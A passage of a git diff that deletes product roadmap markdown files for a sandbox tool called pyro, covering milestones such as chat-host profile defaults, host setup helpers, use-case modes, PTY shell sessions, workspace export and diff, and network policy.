SDK or MCP surface just to mirror CLI shorthand flags -- no hidden patch normalization beyond the current patch-apply rules -- no change to the stable `workspace_id` contract - -## Acceptance Scenarios - -- README, install docs, and first-run docs can create one workspace ID without - `python -c` output parsing -- a user can apply a patch from `fix.patch` without `$(cat fix.patch)` shell - expansion -- a user can write one text file from a host file directly, without - shell-escaped inline text - -## Required Repo Updates - -- top-level workspace walkthroughs rewritten around the new shortcut flags -- CLI help text updated so the shortest happy path is copy-paste friendly -- at least one smoke scenario updated to use a file-backed patch input diff --git a/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md b/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md deleted file mode 100644 index c4f0852..0000000 --- a/docs/roadmap/llm-chat-ergonomics/3.8.0-chat-host-onramp-and-recommended-defaults.md +++ /dev/null @@ -1,51 +0,0 @@ -# `3.8.0` Chat-Host Onramp And Recommended Defaults - -Status: Done - -## Goal - -Make the recommended chat-host entrypoint obvious before a new integrator has -to read deep integration docs. - -## Public API Changes - -No breaking API change is required in this milestone. - -The main user-visible change is guidance: - -- `pyro mcp serve` help text should clearly call `workspace-core` the - recommended chat-host profile -- README, install docs, first-run docs, and shipped MCP configs should all lead - with `workspace-core` -- `workspace-full` should be framed as the explicit advanced/compatibility - surface for `3.x` - -## Implementation Boundaries - -- keep the `3.x` compatibility default unchanged -- do not add new profile names -- make the recommendation visible from help text and top-level docs, not only - the integrations page -- keep provider examples and MCP examples aligned on the same profile story - -## Non-Goals - -- no breaking default flip to `workspace-core` in `3.x` -- no new hidden server behavior based on client type -- no divergence between CLI, SDK, and MCP terminology for the profile ladder - -## Acceptance Scenarios - -- a new chat-host integrator sees `workspace-core` as the recommended first MCP - profile from the first help/doc pass -- the top-level docs include one tiny chat-host quickstart near the first-run - path -- shipped config examples and provider examples all align on the same profile - progression - -## Required Repo Updates - -- top-level docs updated with a minimal chat-host quickstart -- `pyro mcp serve --help` rewritten to emphasize `workspace-core` -- examples and config snippets audited so they all agree on the recommended - profile diff --git a/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md b/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md deleted file mode 100644 index 0fcc400..0000000 --- a/docs/roadmap/llm-chat-ergonomics/3.9.0-content-only-reads-and-human-output-polish.md +++ /dev/null @@ -1,50 +0,0 @@ -# `3.9.0` Content-Only Reads And Human Output Polish - -Status: Done - -## Goal - -Make human-mode content reads cleaner for chat logs, terminal transcripts, and -copy-paste workflows. - -## Public API Changes - -Planned additions: - -- `pyro workspace file read WORKSPACE_ID PATH --content-only` -- `pyro workspace disk read WORKSPACE_ID PATH --content-only` - -Behavioral polish: - -- default human-mode `workspace file read` and `workspace disk read` should - always separate content from summaries cleanly, even when the file lacks a - trailing newline - -## Implementation Boundaries - -- keep JSON output unchanged -- keep human-readable summary lines by default -- `--content-only` should print only the file content and no summary footer -- keep current regular-file-only constraints for live and stopped-disk reads - -## Non-Goals - -- no new binary dumping contract -- no removal of human summaries from the default read path -- no expansion into a generic pager or TUI reader -- no change to SDK or MCP structured read results, which are already summary-free - -## Acceptance Scenarios - -- reading a text file with no trailing newline still produces a clean transcript -- a user can explicitly request content-only output for copy-paste or shell - piping -- docs can show both summary mode and content-only mode without caveats about - messy output joining - -## Required Repo Updates - -- CLI help text updated for file and disk read commands -- stable docs and transcripts revised to use `--content-only` where it improves - readability -- tests that cover missing trailing newline cases in human mode diff --git a/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md b/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md deleted file mode 100644 index 55924b9..0000000 --- a/docs/roadmap/llm-chat-ergonomics/4.0.0-workspace-core-default-profile.md +++ /dev/null @@ -1,55 +0,0 @@ -# `4.0.0` Workspace-Core Default Profile - -Status: Done - -## Goal - -Make the default MCP entrypoint match the product's recommended chat-first path -instead of preserving a wider compatibility surface by default. - -## Public API Changes - -This is an intentional breaking default change for the next major release: - -- `pyro mcp serve` should default to `workspace-core` -- `create_server()` should default to `profile="workspace-core"` -- `Pyro.create_server()` should default to `profile="workspace-core"` - -The full advanced surface remains available through explicit opt-in: - -- `pyro mcp serve --profile workspace-full` -- `create_server(profile="workspace-full")` -- `Pyro.create_server(profile="workspace-full")` - -## Implementation Boundaries - -- keep all three profile names unchanged -- do not remove `workspace-full` -- make the default flip explicit in docs, changelog, help text, and migration - notes -- keep bare `vm-run` available as the smallest one-shot profile - -## Non-Goals - -- no silent removal of advanced workspace capabilities -- no attempt to infer a profile from the client name -- no `3.x` backport that changes the current default behavior - -## Acceptance Scenarios - -- a bare `pyro mcp serve` command now exposes the recommended narrow profile -- a bare `create_server()` or `Pyro.create_server()` call matches that same - default -- advanced hosts can still opt into `workspace-full` explicitly with no loss of - functionality -- docs no longer need to explain that the recommended path and the default path - are different - -## Required Repo Updates - -- help text, public contract, README, install docs, and integrations docs - revised to reflect the new default -- migration note explaining the default change and the explicit - `workspace-full` opt-in path -- examples audited so they only mention `--profile workspace-core` when the - explicitness is useful rather than compensating for the old default diff --git a/docs/roadmap/llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md b/docs/roadmap/llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md deleted file mode 100644 index e3e6986..0000000 --- a/docs/roadmap/llm-chat-ergonomics/4.1.0-project-aware-chat-startup.md +++ /dev/null @@ -1,56 +0,0 @@ -# `4.1.0` Project-Aware Chat Startup - -Status: Done - -## Goal - -Make "current repo to disposable sandbox" the default story for the narrowed -chat-host user, without requiring manual workspace seeding choreography first. - -## Public API Changes - -The chat entrypoint should gain one documented project-aware startup path: - -- `pyro mcp serve` should accept an explicit local project source, such as the - current checkout -- the product path should optionally support a clean-clone source, such as a - repo URL, when the user is not starting from a local checkout -- the first useful chat turn should not depend on manually teaching - `workspace create ... --seed-path ...` before the host can do real work - -Exact flag names can still change, but the product needs one obvious "use this -repo" path and one obvious "start from that repo" path. - -## Implementation Boundaries - -- keep host crossing explicit; do not silently mutate the user's checkout -- prefer local checkout seeding first, because that is the most natural daily - chat path -- preserve existing explicit sync, export, diff, and reset primitives rather - than inventing a hidden live-sync layer -- keep the startup story compatible with the existing `workspace-core` product - path - -## Non-Goals - -- no generic SCM integration platform -- no background multi-repo workspace manager -- no always-on bidirectional live sync between host checkout and guest - -## Acceptance Scenarios - -- from a repo root, a user can connect Claude Code, Codex, or OpenCode and the - first workspace starts from that repo without extra terminal choreography -- from outside a repo checkout, a user can still start from a documented clean - source such as a repo URL -- the README and install docs can teach a repo-aware chat flow before the - manual terminal workspace flow - -## Required Repo Updates - -- README, install docs, first-run docs, integrations docs, and public contract - updated to show the repo-aware chat startup path -- help text updated so the repo-aware startup path is visible from `pyro` and - `pyro mcp serve --help` -- at least one recipe and one real smoke scenario updated to validate the new - startup story diff --git a/docs/roadmap/llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md b/docs/roadmap/llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md deleted file mode 100644 index a9d07a4..0000000 --- a/docs/roadmap/llm-chat-ergonomics/4.2.0-host-bootstrap-and-repair.md +++ /dev/null @@ -1,53 +0,0 @@ -# `4.2.0` Host Bootstrap And Repair - -Status: Done - -## Goal - -Make supported chat hosts feel one-command to connect and easy to repair when a -local config drifts or the product changes shape. - -## Public API Changes - -The CLI should grow a small host-helper surface for the supported chat hosts: - -- `pyro host connect claude-code` -- `pyro host connect codex` -- `pyro host print-config opencode` -- `pyro host doctor` -- `pyro host repair HOST` - -The exact names can still move, but the product needs a first-class bootstrap -and repair path for Claude Code, Codex, and OpenCode. - -## Implementation Boundaries - -- host helpers should wrap the same `pyro mcp serve` entrypoint rather than - introduce per-host runtime behavior -- config changes should remain inspectable and predictable -- support both installed-package and `uvx`-style usage where that materially - reduces friction -- keep the host helper story narrow to the current supported hosts - -## Non-Goals - -- no GUI installer or onboarding wizard -- no attempt to support every possible MCP-capable editor or chat shell -- no hidden network service or account-based control plane - -## Acceptance Scenarios - -- a new Claude Code or Codex user can connect `pyro` with one command -- an OpenCode user can print or materialize a correct config without hand-writing - JSON -- a user with a stale or broken local host config can run one repair or doctor - flow instead of debugging MCP setup manually - -## Required Repo Updates - -- new host-helper docs and examples for all supported chat hosts -- README, install docs, and integrations docs updated to prefer the helper - flows when available -- help text updated with exact connect and repair commands -- runnable verification or smoke coverage that proves the shipped host-helper - examples stay current diff --git a/docs/roadmap/llm-chat-ergonomics/4.3.0-reviewable-agent-output.md b/docs/roadmap/llm-chat-ergonomics/4.3.0-reviewable-agent-output.md deleted file mode 100644 index b1b02ba..0000000 --- a/docs/roadmap/llm-chat-ergonomics/4.3.0-reviewable-agent-output.md +++ /dev/null @@ -1,54 +0,0 @@ -# `4.3.0` Reviewable Agent Output - -Status: Done - -## Goal - -Make it easy for a human to review what the agent actually did inside the -sandbox without manually reconstructing the session from diffs, logs, and raw -artifacts. - -## Public API Changes - -The product should expose a concise workspace review surface, for example: - -- `pyro workspace summary WORKSPACE_ID` -- `workspace_summary` on the MCP side -- structured JSON plus a short human-readable summary view - -The summary should cover the things a chat-host user cares about: - -- commands run -- files changed -- diff or patch summary -- services started -- artifacts exported -- final workspace outcome - -## Implementation Boundaries - -- prefer concise review surfaces over raw event firehoses -- keep raw logs, diffs, and exported files available as drill-down tools -- summarize only the sandbox activity the product can actually observe -- make the summary good enough to paste into a chat, bug report, or PR comment - -## Non-Goals - -- no full compliance or audit product -- no attempt to summarize the model's hidden reasoning -- no remote storage backend for session history - -## Acceptance Scenarios - -- after a repro-fix or review-eval run, a user can inspect one summary and - understand what changed and what to review next -- the summary is useful enough to accompany exported patches or artifacts -- unsafe-inspection and review-eval flows become easier to trust because the - user can review agent-visible actions in one place - -## Required Repo Updates - -- public contract, help text, README, and recipe docs updated with the new - summary path -- at least one host-facing example showing how to ask for or export the summary -- at least one real smoke scenario validating the review surface end to end diff --git a/docs/roadmap/llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md b/docs/roadmap/llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md deleted file mode 100644 index 52d2d22..0000000 --- a/docs/roadmap/llm-chat-ergonomics/4.4.0-opinionated-use-case-modes.md +++ /dev/null @@ -1,56 +0,0 @@ -# `4.4.0` Opinionated Use-Case Modes - -Status: Done - -## Goal - -Stop making chat-host users think in terms of one giant workspace surface and -let them start from a small mode that matches the job they want the agent to do. - -## Public API Changes - -The chat entrypoint should gain named use-case modes, for example: - -- `pyro mcp serve --mode repro-fix` -- `pyro mcp serve --mode inspect` -- `pyro mcp serve --mode cold-start` -- `pyro mcp serve --mode review-eval` - -Modes should narrow the product story by selecting the right defaults for: - -- tool surface -- workspace bootstrap behavior -- docs and example prompts -- expected export and review outputs - -Parallel workspace use should come from opening more than one named workspace -inside the same mode, not from introducing a scheduler or queue abstraction. - -## Implementation Boundaries - -- build modes on top of the existing `workspace-core` and `workspace-full` - capabilities instead of inventing separate backends -- keep the mode list short and mapped to the documented use cases -- make modes visible from help text, host helpers, and recipe docs together -- let users opt out to the generic workspace path when the mode is too narrow - -## Non-Goals - -- no user-defined mode DSL -- no hidden host-specific behavior for the same mode name -- no CI-style pipelines, matrix builds, or queueing abstractions - -## Acceptance Scenarios - -- a new user can pick one mode and avoid reading the full workspace surface - before starting -- the documented use cases map cleanly to named entry modes -- parallel issue or PR work feels like "open another workspace in the same - mode", not "submit another job" - -## Required Repo Updates - -- help text, README, install docs, integrations docs, and use-case recipes - updated to teach the named modes -- host-specific setup docs updated so supported hosts can start in a named mode -- at least one smoke scenario proving a mode-specific happy path end to end diff --git a/docs/roadmap/llm-chat-ergonomics/4.5.0-faster-daily-loops.md b/docs/roadmap/llm-chat-ergonomics/4.5.0-faster-daily-loops.md deleted file mode 100644 index ecbd8b8..0000000 --- a/docs/roadmap/llm-chat-ergonomics/4.5.0-faster-daily-loops.md +++ /dev/null @@ -1,57 +0,0 @@ -# `4.5.0` Faster Daily Loops - -Status: Done - -## Goal - -Make the day-to-day chat-host loop feel cheap enough that users reach for it -for normal work, not only for special high-isolation tasks. - -## Public API Changes - -The product now adds an explicit fast-path for repeated local use: - -- `pyro prepare [ENVIRONMENT] [--network] [--force] [--json]` -- `pyro doctor --environment ENVIRONMENT` daily-loop readiness output -- `make smoke-daily-loop` to prove the warmed machine plus reset/retry story - -The exact command names can still move, but the user-visible story needs to be: - -- set the machine up once -- reconnect quickly -- create or reset a workspace cheaply -- keep iterating without redoing heavy setup work - -## Implementation Boundaries - -- optimize local-first loops on one machine before thinking about remote - execution -- focus on startup, create, reset, and retry latency rather than queue - throughput -- keep the fast path compatible with the repo-aware startup story and the - supported chat hosts -- prefer explicit caching and prewarm semantics over hidden long-running - daemons - -## Non-Goals - -- no cloud prewarm service -- no scheduler or queueing layer -- no daemon requirement for normal daily use - -## Acceptance Scenarios - -- after the first setup, entering the chat-host path again does not feel like - redoing the whole product onboarding -- reset and retry become cheap enough to recommend as the default repro-fix - workflow -- docs can present `pyro` as a daily coding-agent tool, not only as a special - heavy-duty sandbox - -## Required Repo Updates - -- docs now show the recommended daily-use fast path -- diagnostics and help text now show whether the machine is already warm and - ready -- the repo now includes `make smoke-daily-loop` as a repeat-loop verification - scenario for the daily workflow diff --git a/docs/roadmap/llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md b/docs/roadmap/llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md deleted file mode 100644 index b170b21..0000000 --- a/docs/roadmap/llm-chat-ergonomics/4.6.0-git-tracked-project-sources.md +++ /dev/null @@ -1,55 +0,0 @@ -# `4.6.0` Git-Tracked Project Sources - -Status: Planned - -## Goal - -Make repo-root startup and `--project-path` robust for messy real checkouts by -stopping the default chat-host path from trying to ingest every readable and -unreadable file in the working tree. - -## Public API Changes - -Project-aware startup should change its default local source semantics: - -- bare `pyro mcp serve` from inside a Git checkout should seed from Git-tracked - files only -- `pyro mcp serve --project-path PATH` should also use Git-tracked files only - when `PATH` is inside a Git checkout -- `--repo-url` remains the clean-clone path when the user wants a host-side - clone instead of the local checkout -- explicit `workspace create --seed-path PATH` remains unchanged in this - milestone - -## Implementation Boundaries - -- apply the new semantics only to project-aware startup sources, not every - explicit directory seed -- do not silently include ignored or untracked junk in the default chat-host - path -- preserve explicit diff, export, sync push, and reset behavior -- surface the chosen project source clearly enough that users know what the - sandbox started from - -## Non-Goals - -- no generic SCM abstraction layer -- no silent live sync between the host checkout and the guest -- no change to explicit archive seeding semantics in this milestone - -## Acceptance Scenarios - -- starting `pyro mcp serve` from a repo root no longer fails on unreadable - build artifacts or ignored runtime byproducts -- starting from `--project-path` inside a Git repo behaves the same way -- users can predict that the startup source matches the tracked project state - rather than the entire working tree - -## Required Repo Updates - -- README, install docs, integrations docs, and public contract updated to state - what local project-aware startup actually includes -- help text updated to distinguish project-aware startup from explicit - `--seed-path` behavior -- at least one guest-backed smoke scenario added for a repo with ignored, - generated, and unreadable files diff --git a/docs/roadmap/llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md b/docs/roadmap/llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md deleted file mode 100644 index a758e79..0000000 --- a/docs/roadmap/llm-chat-ergonomics/4.7.0-project-source-diagnostics-and-recovery.md +++ /dev/null @@ -1,50 +0,0 @@ -# `4.7.0` Project Source Diagnostics And Recovery - -Status: Planned - -## Goal - -Make project-source selection and startup failures understandable enough that a -chat-host user can recover without reading internals or raw tracebacks. - -## Public API Changes - -The chat-host path should expose clearer project-source diagnostics: - -- `pyro doctor` should report the active project-source kind and its readiness -- `pyro mcp serve` and host helpers should explain whether they are using - tracked local files, `--project-path`, `--repo-url`, or no project source -- startup failures should recommend the right fallback: - `--project-path`, `--repo-url`, `--no-project-source`, or explicit - `seed_path` - -## Implementation Boundaries - -- keep diagnostics focused on the chat-host path rather than inventing a broad - source-management subsystem -- prefer actionable recovery guidance over long implementation detail dumps -- make project-source diagnostics visible from the same surfaces users already - touch: help text, `doctor`, host helpers, and startup errors - -## Non-Goals - -- no generic repo-health audit product -- no attempt to auto-fix arbitrary local checkout corruption -- no host-specific divergence in project-source behavior - -## Acceptance Scenarios - -- a user can tell which project source the chat host will use before creating a - workspace -- a user who hits a project-source failure gets a concrete recovery path instead - of a raw permission traceback -- host helper doctor and repair flows can explain project-source problems, not - only MCP config problems - -## Required Repo Updates - -- docs, help text, and troubleshooting updated with project-source diagnostics - and fallback guidance -- at least one smoke or targeted CLI test covering the new failure guidance -- host-helper docs updated to show when to prefer `--project-path`, - `--repo-url`, or `--no-project-source` diff --git a/docs/roadmap/llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md b/docs/roadmap/llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md deleted file mode 100644 index fcb80eb..0000000 --- a/docs/roadmap/llm-chat-ergonomics/4.8.0-first-class-chat-environment-selection.md +++ /dev/null @@ -1,52 +0,0 @@ -# `4.8.0` First-Class Chat Environment Selection - -Status: Planned - -## Goal - -Make curated environment choice part of the normal chat-host path so full -project work is not implicitly tied to one default environment. - -## Public API Changes - -Environment selection should become first-class in the chat-host path: - -- `pyro mcp serve` should accept an explicit environment -- `pyro host connect` should accept and preserve an explicit environment -- `pyro host print-config` and `pyro host repair` should preserve the selected - environment where relevant -- named modes should be able to recommend a default environment when one is - better for the workflow, without removing explicit user choice - -## Implementation Boundaries - -- keep environment selection aligned with the existing curated environment - catalog -- avoid inventing host-specific environment behavior for the same mode -- keep the default environment path simple for the quickest evaluator flow -- ensure the chosen environment is visible from generated config, help text, and - diagnostics - -## Non-Goals - -- no custom user-built environment pipeline in this milestone -- no per-host environment negotiation logic -- no attempt to solve arbitrary dependency installation through environment - sprawl alone - -## Acceptance Scenarios - -- a user can choose a build-oriented environment such as `debian:12-build` - before connecting the chat host -- host helpers, raw server startup, and printed configs all preserve the same - environment choice -- docs can teach whole-project development without pretending every project fits - the same default environment - -## Required Repo Updates - -- README, install docs, integrations docs, public contract, and host examples - updated to show environment selection in the chat-host path -- help text updated for raw server startup and host helpers -- at least one guest-backed smoke scenario updated to prove a non-default - environment in the chat-host flow diff --git a/docs/roadmap/llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md b/docs/roadmap/llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md deleted file mode 100644 index 04bea7c..0000000 --- a/docs/roadmap/llm-chat-ergonomics/4.9.0-real-repo-qualification-smokes.md +++ /dev/null @@ -1,52 +0,0 @@ -# `4.9.0` Real-Repo Qualification Smokes - -Status: Planned - -## Goal - -Replace fixture-only confidence with guest-backed proof that the chat-host path -works against messy local repos and clean-clone startup sources. - -## Public API Changes - -No new runtime surface is required in this milestone. The main additions are -qualification smokes and their supporting fixtures. - -The new coverage should prove: - -- repo-root startup from a local Git checkout with ignored, generated, and - unreadable files -- `--repo-url` clean-clone startup -- a realistic install, test, patch, rerun, and export loop -- at least one nontrivial service-start or readiness loop - -## Implementation Boundaries - -- keep the smoke pack guest-backed and deterministic enough to use as a release - gate -- focus on realistic repo-shape and project-loop problems, not synthetic - micro-feature assertions -- prefer a small number of representative project fixtures over a large matrix - of toy repos - -## Non-Goals - -- no promise to qualify every language ecosystem in one milestone -- no cloud or remote execution qualification layer -- no broad benchmark suite beyond what is needed to prove readiness - -## Acceptance Scenarios - -- the repo has one clear smoke target for real-repo qualification -- at least one local-checkout smoke proves the new Git-tracked startup behavior -- at least one clean-clone smoke proves the `--repo-url` path -- failures in these smokes clearly separate project-source issues from runtime - or host issues - -## Required Repo Updates - -- new guest-backed smoke targets and any supporting fixtures -- roadmap, use-case docs, and release/readiness docs updated to point at the - new qualification path -- troubleshooting updated with the distinction between shaped use-case smokes - and real-repo qualification smokes diff --git a/docs/roadmap/llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md b/docs/roadmap/llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md deleted file mode 100644 index ba2195a..0000000 --- a/docs/roadmap/llm-chat-ergonomics/5.0.0-whole-project-sandbox-development.md +++ /dev/null @@ -1,53 +0,0 @@ -# `5.0.0` Whole-Project Sandbox Development - -Status: Planned - -## Goal - -Reach the point where it is credible to tell a user they can develop a real -project inside sandboxes, not just validate, inspect, or patch one. - -## Public API Changes - -No new generic VM breadth is required here. This milestone should consolidate -the earlier pieces into one believable full-project product story: - -- robust project-aware startup -- explicit environment selection in the chat-host path -- summaries, reset, export, and service workflows that hold up during longer - work loops -- qualification targets that prove a nontrivial development cycle - -## Implementation Boundaries - -- keep the product centered on the chat-host workspace path rather than a broad - CLI or SDK platform story -- use the existing named modes and generic workspace path where they fit, but - teach one end-to-end full-project development walkthrough -- prioritize daily development credibility over adding new low-level sandbox - surfaces - -## Non-Goals - -- no attempt to become a generic remote dev environment platform -- no scheduler, queue, or CI matrix abstractions -- no claim that every possible project type is equally well supported - -## Acceptance Scenarios - -- the docs contain one end-to-end “develop a project in sandboxes” walkthrough -- that walkthrough covers dependency install, tests, patching, reruns, review, - and export, with app/service startup when relevant -- at least one guest-backed qualification target proves the story on a - nontrivial project -- the readiness docs can honestly say whole-project development is supported - with explicit caveats instead of hedged aspirational language - -## Required Repo Updates - -- README, install docs, integrations docs, use-case docs, and public contract - updated to include the whole-project development story -- at least one walkthrough asset or transcript added for the new end-to-end - path -- readiness and troubleshooting docs updated with the actual supported scope and - remaining caveats diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md deleted file mode 100644 index 3324e22..0000000 --- a/docs/roadmap/task-workspace-ga.md +++ /dev/null @@ -1,50 +0,0 @@ -# Task Workspace GA Roadmap - -This roadmap turns the agent-workspace vision into release-sized milestones. - -Current baseline is `3.1.0`: - -- workspace persistence exists and the public surface is now workspace-first -- host crossing currently covers create-time seeding, later sync push, and explicit export -- persistent PTY shell sessions exist alongside one-shot `workspace exec` -- immutable create-time baselines now power whole-workspace diff -- multi-service lifecycle exists with typed readiness and aggregate workspace status counts -- named snapshots and full workspace reset now exist -- explicit secrets now exist for guest-backed workspaces -- explicit workspace network policy and localhost published service ports now exist - -Locked roadmap decisions: - -- no backward compatibility goal for the current `task_*` naming -- workspace-first naming lands first, before later features -- snapshots are real named snapshots, not only reset-to-baseline - -Every milestone below must update CLI, SDK, and MCP together. Each milestone is -also expected to update: - -- `README.md` -- install/first-run docs -- `docs/public-contract.md` -- help text and runnable examples -- at least one real Firecracker smoke scenario - -## Milestones - -1. [`2.4.0` Workspace Contract Pivot](task-workspace-ga/2.4.0-workspace-contract-pivot.md) - Done -2. [`2.5.0` PTY Shell Sessions](task-workspace-ga/2.5.0-pty-shell-sessions.md) - Done -3. [`2.6.0` Structured Export And Baseline Diff](task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md) - Done -4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) - Done -5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) - Done -6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) - Done -7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) - Done -8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) - Done -9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) - Done - -## Roadmap Status - -The planned workspace roadmap is complete. - -- `3.1.0` added secondary stopped-workspace disk export and offline inspection helpers without - changing the stable workspace-first core contract. -- The next follow-on milestones now live in [llm-chat-ergonomics.md](llm-chat-ergonomics.md) and - focus on making the stable workspace product feel trivial from chat-driven LLM interfaces. diff --git a/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md b/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md deleted file mode 100644 index 680d318..0000000 --- a/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md +++ /dev/null @@ -1,45 +0,0 @@ -# `2.10.0` Network Policy And Host Port Publication - -Status: Done - -## Goal - -Replace the coarse current network toggle with an explicit workspace network -policy and make services host-probeable through controlled published ports. - -## Public API Changes - -- `workspace create` gains explicit network policy instead of a simple boolean -- `workspace service start` gains published-port configuration -- `workspace service status/list` returns published-port information - -Recommended policy model: - -- `off` -- `egress` -- `egress+published-ports` - -## Implementation Boundaries - -- Host port publication is localhost-only by default. -- Ports remain attached to services, not generic VM networking. -- Published-port details are queryable from CLI, SDK, and MCP. -- Keep network access explicit and visible in the workspace spec. - -## Non-Goals - -- no remote exposure defaults -- no advanced ingress routing -- no general-purpose networking product surface - -## Acceptance Scenarios - -- start a service, wait for readiness, probe it from the host, inspect logs, - then stop it -- keep a workspace fully offline and confirm no implicit network access exists - -## Required Repo Updates - -- docs that show app validation from the host side -- examples that use typed readiness plus localhost probing -- real Firecracker smoke for published-port probing diff --git a/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md b/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md deleted file mode 100644 index ff97f37..0000000 --- a/docs/roadmap/task-workspace-ga/2.4.0-workspace-contract-pivot.md +++ /dev/null @@ -1,72 +0,0 @@ -# `2.4.0` Workspace Contract Pivot - -Status: Done - -## Goal - -Make the public product read as a workspace-first sandbox instead of a -task-flavored alpha by replacing the `task_*` surface with `workspace_*`. - -## Public API Changes - -- CLI: - - `pyro workspace create` - - `pyro workspace sync push` - - `pyro workspace exec` - - `pyro workspace status` - - `pyro workspace logs` - - `pyro workspace delete` -- SDK: - - `create_workspace` - - `push_workspace_sync` - - `exec_workspace` - - `status_workspace` - - `logs_workspace` - - `delete_workspace` -- MCP: - - `workspace_create` - - `workspace_sync_push` - - `workspace_exec` - - `workspace_status` - - `workspace_logs` - - `workspace_delete` - -Field renames: - -- `task_id` -> `workspace_id` -- `source_path` on create -> `seed_path` -- `task.json` / `tasks/` -> `workspace.json` / `workspaces/` - -No compatibility aliases. Remove `task_*` from the public contract in the same -release. - -## Implementation Boundaries - -- Keep current behavior intact under the new names: - - persistent workspace creation - - create-time seed - - sync push - - exec/status/logs/delete -- Rename public result payloads and CLI help text to workspace language. -- Move on-disk persisted records to `workspaces/` and update rehydration logic - accordingly. -- Update examples, docs, and tests to stop using task terminology. - -## Non-Goals - -- no shell sessions yet -- no export, diff, services, snapshots, reset, or secrets in this release -- no attempt to preserve old CLI/SDK/MCP names - -## Acceptance Scenarios - -- create a seeded workspace, sync host changes into it, exec inside it, inspect - status/logs, then delete it -- the same flow works from CLI, SDK, and MCP with only workspace-first names -- one-shot `pyro run` remains unchanged - -## Required Repo Updates - -- replace task language in README/install/first-run/public contract/help -- update runnable examples to use `workspace_*` -- add one real Firecracker smoke for create -> sync push -> exec -> delete diff --git a/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md b/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md deleted file mode 100644 index 91bcf2d..0000000 --- a/docs/roadmap/task-workspace-ga/2.5.0-pty-shell-sessions.md +++ /dev/null @@ -1,65 +0,0 @@ -# `2.5.0` PTY Shell Sessions - -Status: Done - -## Goal - -Add persistent interactive shells so an agent can inhabit a workspace instead -of only submitting one-shot `workspace exec` calls. - -## Public API Changes - -- CLI: - - `pyro workspace shell open` - - `pyro workspace shell read` - - `pyro workspace shell write` - - `pyro workspace shell signal` - - `pyro workspace shell close` -- SDK: - - `open_shell` - - `read_shell` - - `write_shell` - - `signal_shell` - - `close_shell` -- MCP: - - `shell_open` - - `shell_read` - - `shell_write` - - `shell_signal` - - `shell_close` - -Core shell identity: - -- `workspace_id` -- `shell_id` -- PTY size -- working directory -- running/stopped state - -## Implementation Boundaries - -- Shells are persistent PTY sessions attached to one workspace. -- Output buffering is append-only with cursor-based reads so callers can poll - incrementally. -- Shell sessions survive separate CLI/SDK/MCP calls and are cleaned up by - `workspace delete`. -- Keep `workspace exec` as the non-interactive path; do not merge the two - models. - -## Non-Goals - -- no terminal UI beyond structured shell I/O -- no service lifecycle changes in this milestone -- no export/diff/snapshot/reset changes yet - -## Acceptance Scenarios - -- open a shell, write commands, read output in chunks, send SIGINT, then close -- reopen a new shell in the same workspace after closing the first one -- delete a workspace with an open shell and confirm the shell is cleaned up - -## Required Repo Updates - -- shell-focused example in CLI, SDK, and MCP docs -- help text that explains shell vs exec clearly -- real Firecracker smoke for open -> write -> read -> signal -> close diff --git a/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md b/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md deleted file mode 100644 index 4ee66bb..0000000 --- a/docs/roadmap/task-workspace-ga/2.6.0-structured-export-and-baseline-diff.md +++ /dev/null @@ -1,49 +0,0 @@ -# `2.6.0` Structured Export And Baseline Diff - -Status: Done - -## Goal - -Complete the next explicit host-crossing step by letting a workspace export -files back to the host and diff itself against its immutable create-time -baseline. - -## Public API Changes - -- CLI: - - `pyro workspace export WORKSPACE_ID PATH --output HOST_PATH` - - `pyro workspace diff WORKSPACE_ID` -- SDK: - - `export_workspace` - - `diff_workspace` -- MCP: - - `workspace_export` - - `workspace_diff` - -## Implementation Boundaries - -- Capture a baseline snapshot at `workspace create`. -- `workspace diff` compares current `/workspace` against that baseline. -- `workspace export` exports files or directories only from paths under - `/workspace`. -- Keep output structured: - - unified patch text for text files - - summary entries for binary or type changes - -## Non-Goals - -- no named snapshots yet -- no reset yet -- no export outside `/workspace` - -## Acceptance Scenarios - -- seed workspace, mutate files, diff against baseline, export a file to host -- sync push content after create, then confirm diff reports the synced changes -- unchanged workspace 